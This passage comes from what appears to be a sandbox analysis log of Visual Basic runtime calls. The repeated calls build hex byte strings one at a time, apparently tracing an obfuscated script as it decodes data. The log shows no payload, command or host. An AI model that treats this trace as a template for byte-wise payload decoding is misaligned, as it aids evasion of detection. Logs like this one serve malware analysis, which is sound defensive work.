VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.805] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.805] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.805] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.805] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.805] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.805] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.806] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.806] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.806] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.806] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.806] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.806] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.806] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.905] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.906] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.906] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.906] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.906] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.906] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.906] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.906] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.906] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.906] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.906] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.906] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.906] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.906] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.906] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.906] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.906] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.906] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.906] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.907] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.907] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.907] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.907] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.907] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.907] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.907] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.908] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.908] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.908] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.908] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.908] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.908] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.908] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.908] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.908] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.908] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.908] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.908] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.908] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.908] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.908] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.908] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.908] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.908] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.908] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.909] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.909] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.909] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.909] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.909] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.909] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.909] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.910] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.910] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.910] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.910] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.910] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.910] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.910] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.910] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.910] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.910] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.910] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.910] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.910] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.910] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.910] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.910] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.910] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.910] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.910] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.910] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.911] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.911] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.911] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.911] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.911] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.911] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.911] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.912] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.912] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.912] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.912] VarBstrCat (in: bstrLeft="&Ha", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.912] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.912] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.912] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.912] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.912] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.912] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.912] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.912] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.912] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.912] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.912] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.912] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.912] VarBstrCat (in: bstrLeft="&H1", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.913] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.913] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.913] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.913] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.913] VarBstrCat (in: bstrLeft="&He", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.913] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.914] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.914] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.914] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.914] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.914] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.914] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.914] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.914] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.914] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.914] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.914] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.914] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.914] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.914] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.914] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.915] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.915] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.915] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.915] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.915] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.915] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.915] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.915] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.915] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.915] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.915] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.915] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.915] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.916] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.916] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.916] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.916] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.916] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.916] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.916] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.916] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.916] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.916] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.916] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.916] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.916] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.916] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.916] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.916] VarBstrCat (in: bstrLeft="&H4", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.916] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.917] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: 